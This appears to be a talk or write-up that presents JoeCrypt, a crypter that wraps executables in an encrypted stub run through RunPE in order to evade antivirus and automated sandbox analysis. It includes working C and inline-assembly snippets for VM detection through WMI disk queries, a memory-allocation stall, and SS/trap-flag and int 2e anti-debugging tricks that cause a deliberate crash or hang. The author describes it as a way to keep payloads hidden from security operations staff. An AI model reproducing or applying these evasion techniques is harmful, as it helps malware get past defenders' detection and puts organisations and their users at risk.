While we wait, please enjoy the show...
Joe Giron at your service!
Why the random images?
JoeCrypt is NOT a packer.
Packers work differently. Packers replace code, hide imports, etc. JoeCrypt works by encapsulating the exe in an encrypted wrapped that is decrypted and and written to memory at run time.
What JoeCrypt Is not
JoeCrypt is not a skiddy tool.
I didn't write this to give free reign to all the script kiddies.
I wrote this tool for my pen tester buddies to get around AV's and ensure they get paid :-)
It's too much work to go through every exe that goes over the wire at a modern enterprise.
To get around this obstacle, many businesses have turned to automated analysis engines to go through the crap. The engines sit on endpoints or desktops and go through every exe either in a virtual or emulated environment to determine behavior. Malicious behavior is flagged and alerts are made to security personnel.
The big automated analysis engines available today include McAfee, FireEye, Palto Alto, TrendMicro, LastLine, and JoeSandBox. There are probably others I've missed, but the premise is the same - run on an endpoint and grab exes and test them.
There have been numerous ways illustrated throughout the years do determine if your program is either being debugged or in a virtual environment. The trick is to be created. For example....seems no one but VM's these days use windows XP or have less than 2GB of RAM. Seems like a VM flag to me...
If you're working as security personnel in some SOC, you're only interested in malicious software. You put all of your trust into your analysis engine. if the engine says an exe is benign, then the SOC personnel never see the alert, and thus your program goes undetected.
Just use mine :)
The idea is simple - I'm not trying to fool your standard reverser. I'm trying to fool automated analysis engines.
Joecrypter works as a wrapper to exe files. It does not modify the exes run through it, only superficial settings like exe header flags and padding characters are modified if desired.
The RunPE method allows me to preserve an exe. I do this because modifying an existing exe instead of wrapping around is, while feasible, extremely difficult. It involves adding crap to the import table, adding a new exe section, or finding space in an exe (code caves). There are of course problems with this:
I could have also used the CreateRemoteThread / CreateThread technique too, but this works fine for me.
The key to RunPE is decent encryption for the payload exe. I didn't write this tool to fool reversers, so you can probably guess the "encryption" used.
This is where I shine. I've come up with a number of ways to detect the use of debuggers, Virtual Environments, Sandboxie, and more through the use of code in the wrapper. The payload exe will only run IF the detection of whatever specified (be it VM's, AV's, timeouts, etc) succeeds. Otherwise the program just crashes innocuously.
As you saw in the first slide, there were a number of options available. Each one does a number of different things. "Joe's Special" for example checks for the presence of certain VM's specific to a company he used to work for as well as procmon.
Anti-emulation is checking to see if code is being emulated (common among AV's).
The other stuff is just thing's I've encountered as an AV researcher.
BSTR resource = SysAllocString(L"ROOT\\CIMV2");
BSTR language = SysAllocString(L"WQL");
BSTR query = SysAllocString(L"SELECT * FROM Win32_DiskDrive");
char *vm1 = "QEMU";
char *vm2 = "VMware";
char *vm3 = "vbox";
if(strstr(prop,vm1) || strstr(prop,vm2) || strstr(prop,vm3))
{
__asm{
_emit 0xEB
_emit 0xFE
}
}
int AllocMem_Fornoreason(void)
{
int x;
for(x=0;x<3;x++)
{
// allocate like 350 megs of ram, then free, rinse repeat a few times.
LPVOID kek = VirtualAlloc(NULL,367001600, MEM_RESERVE | MEM_COMMIT,0x40);
Sleep(5000); // Sleep 5 seconds and free
VirtualFree(kek,367001600,MEM_RELEASE|MEM_DECOMMIT);
}
return 0;
}
These are just superficial changes to the exe header and rudimentary changes to the program that don't affect how its run.
Modern compilers use BP's (break points) as a form of padding between functions for alignment. JoeCrypter simply looks for long chains of BP's and changes them into other useless instructions of the same length such as NOP and FNOP (fpu instruction, 2 bytes).
JoeCrypter has 2 main components.
The compiler embedded inside is Pelles C compiler from smorgasbordet.com, loosely based on LCC. New evasions are added via modification of the master C file. I wanted to make this easier for all, but that comes at a later date.
Before
After
int NextFunc(void)
{ __asm
{
push ss ; antidebug via esp checks
pop ss
pushfd
test byte[esp+1], 1
jne lolwut
ret
lolwut:
nop
nop
mov eax,0xbeefcafe
jmp eax
ret
}
}
int int2eFuncCheck(void){
__asm{
or eax, -1 ; antidebug via int2e
cdq
int 2eh
int 2eh
cmp eax,0xc0000005
jne kek
ret
kek:
mov ebx,0xcafebeef
jmp ebx
ret
}
}